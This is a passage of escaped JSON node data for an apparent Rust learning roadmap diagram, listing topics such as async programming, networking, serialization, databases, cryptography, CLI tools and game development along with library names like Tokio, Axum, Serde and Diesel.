\"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.2748410324898,\n        \"y\": 1904.2497741109262\n      }\n    },\n    {\n      \"id\": \"9emZ0CCIMAx275G0dXZak\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -586.7836476886799,\n        \"y\": 1751.8152557429603\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 348,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -586.7836476886799,\n        \"y\": 1751.8152557429603\n      }\n    },\n    {\n      \"id\": \"JH9PTRZi13t_dX6STd1Wr\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -586.7836476886799,\n        \"y\": 1756\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\",\n          \"strokeWidth\": 7\n        },\n        \"oldId\": \"9emZ0CCIMAx275G0dXZak\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 74,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"width\": 50,\n      \"height\": 20,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -586.7836476886799,\n        \"y\": 1756\n      }\n    },\n    {\n      \"id\": \"VLKEl_NCu9JEA9qAQYm_a\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -443.78364768867993,\n        \"y\": 1766.8152557429603\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ecosystem and Libraries\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 205,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -443.78364768867993,\n        \"y\": 1766.8152557429603\n      }\n    },\n    {\n      \"id\": \"duQ1RO1lqq793mfb5w31P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.047381647763,\n        \"y\": 1850.289316122862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Axum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ApjwY_70OGG_dNIC85oBD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119\n      },\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.047381647763,\n        \"y\": 1850.289316122862\n      }\n    },\n    {\n      \"id\": \"3Y90v2ysoMcyjDL24H7mC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -174.20827066407475,\n        \"y\": 1850.289316122862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Actix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ApjwY_70OGG_dNIC85oBD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119\n      },\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -174.20827066407475,\n        \"y\": 1850.289316122862\n      }\n    },\n    {\n      \"id\": \"n5t3MUqmvrcr36VIIOw0u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.047381647763,\n        \"y\": 1903.289316122862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Leptos\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ApjwY_70OGG_dNIC85oBD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119\n      },\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.047381647763,\n        \"y\": 1903.289316122862\n      }\n    },\n    {\n      \"id\": \"GnSBtZoN9mAehRf5Eczng\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -174.20827066407475,\n        \"y\": 1903.289316122862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Loco\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ApjwY_70OGG_dNIC85oBD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119\n      },\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -174.20827066407475,\n        \"y\": 1903.289316122862\n      }\n    },\n    {\n      \"id\": \"ApjwY_70OGG_dNIC85oBD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.047381647763,\n        \"y\": 1956.2893161228621\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Rocket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119\n      },\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.047381647763,\n        \"y\": 1956.2893161228621\n      }\n    },\n    {\n      \"id\": \"yu0f5gALho0e8wzV10yow\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -685.2748410324898,\n        \"y\": 2119.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Asynchronous Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.2748410324898,\n        \"y\": 2119.550309464411\n      }\n    },\n    {\n      \"id\": \"H0mctp3Bj2OYfIGFDWGfz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -684.3727988204032,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tokio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3C9gCBAq3OQVb583S72D4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -684.3727988204032,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"_2uQInXPdOY-DpYTO1Prt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -603.7748410324898,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"async-std\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3C9gCBAq3OQVb583S72D4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -603.7748410324898,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"3C9gCBAq3OQVb583S72D4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -478.1768832445764,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"smol\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -478.1768832445764,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"0pcBebcTENRVf9F-ClydB\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -310.547381647763,\n        \"y\": 2011.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Personal recommendation: Axum\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 268,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -310.547381647763,\n        \"y\": 2011.550309464411\n      }\n    },\n    {\n      \"id\": \"3pL0ARqk8uRNimopHSalW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2119.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2119.550309464411\n      }\n    },\n    {\n      \"id\": \"TtajUXZpyNx9AmdUawm-8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"reqwest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EHErECEYws05oi59OsZpC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"-MiN5ytI43EjgmWV55BhU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -204.81180589576024,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"hyper\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZXMKY0f7mqqlsvyH9u-LM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -204.81180589576024,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"qi1pmsY8bPk8nbHiBIGha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -124.1381872719935,\n        \"y\": 2200.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"quinn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LmFog_qXrS9e5ARhV6OD_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -124.1381872719935,\n        \"y\": 2200.559081382036\n      }\n    },\n    {\n      \"id\": \"gcmKSLWfBqx4aPZOmyQsg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 51.619964520821554,\n        \"y\": 2119.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Serialization / Deserialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.619964520821554,\n        \"y\": 2119.550309464411\n      }\n    },\n    {\n      \"id\": \"EHErECEYws05oi59OsZpC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.80188117353809,\n        \"y\": 2036.4195482899893\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Serde\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LmFog_qXrS9e5ARhV6OD_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.80188117353809,\n        \"y\": 2036.4195482899893\n      }\n    },\n    {\n      \"id\": \"ZXMKY0f7mqqlsvyH9u-LM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.8018811735381,\n        \"y\": 2036.4195482899893\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"json-rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LmFog_qXrS9e5ARhV6OD_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 150.8018811735381,\n        \"y\": 2036.4195482899893\n      }\n    },\n    {\n      \"id\": \"LmFog_qXrS9e5ARhV6OD_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 270.8018811735381,\n        \"y\": 2036.4195482899893\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"toml-rs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 270.8018811735381,\n        \"y\": 2036.4195482899893\n      }\n    },\n    {\n      \"id\": \"_n7emeqzf5UTxVB5-385G\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 51.619964520821554,\n        \"y\": 2307.7971773974164\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Database and ORM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.619964520821554,\n        \"y\": 2307.7971773974164\n      }\n    },\n    {\n      \"id\": \"UAXpBK3lfnq0Q4RcBehZ1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 52.58542331133775,\n        \"y\": 2389.2245540941813\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Diesel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EHErECEYws05oi59OsZpC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 52.58542331133775,\n        \"y\": 2389.2245540941813\n      }\n    },\n    {\n      \"id\": \"r2KembNZ2WIzLe87EB91K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 147.58542331133776,\n        \"y\": 2389.2245540941813\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"sqlx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZXMKY0f7mqqlsvyH9u-LM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 75,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 147.58542331133776,\n        \"y\": 2389.2245540941813\n      }\n    },\n    {\n      \"id\": \"a2MLN7f-FvsgdmvP9ixlv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 252.58542331133776,\n        \"y\": 2389.2245540941813\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"rusqlite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LmFog_qXrS9e5ARhV6OD_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 252.58542331133776,\n        \"y\": 2389.2245540941813\n      }\n    },\n    {\n      \"id\": \"Rv_Z-rbtELPZ1Nv0PZQmV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2307.7971773974164\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cryptography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2307.7971773974164\n      }\n    },\n    {\n      \"id\": \"f68x7r-qzaQfrzXnjOI2q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -176.5205479375233,\n        \"y\": 2392.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"rust-crypto\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w8nxQDxmfoUHkFV66TKiq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -176.5205479375233,\n        \"y\": 2392.7871651675737\n      }\n    },\n    {\n      \"id\": \"hzzRFb5cyXkgUdLZxaozB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2445.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"sodiumoxide\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2445.7871651675737\n      }\n    },\n    {\n      \"id\": \"w8nxQDxmfoUHkFV66TKiq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 2392.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hzzRFb5cyXkgUdLZxaozB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 75,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 2392.7871651675737\n      }\n    },\n    {\n      \"id\": \"2Zyyf9q_CxmOW-z2pipL8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -707.7748410324898,\n        \"y\": 2515.491272000084\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CLI Utilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.7748410324898,\n        \"y\": 2515.491272000084\n      }\n    },\n    {\n      \"id\": \"AId80IokM7NvGBVutmuGC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.45066814637346,\n        \"y\": 2424.1458411437447\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"clap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YS0igALDqSanGDWva_vls\"\n      },\n      \"zIndex\": 999,\n      \"width\": 77,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -506.45066814637346,\n        \"y\": 2424.1458411437447\n      }\n    },\n    {\n      \"id\": \"_43912wPdXgLL8v-IMHX_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2428.1458411437447\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"structopt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YS0igALDqSanGDWva_vls\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2428.1458411437447\n      }\n    },\n    {\n      \"id\": \"YS0igALDqSanGDWva_vls\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2375.1458411437447\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"termion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2375.1458411437447\n      }\n    },\n    {\n      \"id\": \"uG-EmZVZ-jc3mswOT4-7l\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -707.7748410324898,\n        \"y\": 2662.047621690988\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Game Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.7748410324898,\n        \"y\": 2662.047621690988\n      }\n    },\n    {\n      \"id\": \"uyrGki0jB7DXQ0HJe2-vY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.2922976896841,\n        \"y\": 2743.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"bevy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6wGShK9WEnXiby_Jm8sTO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": 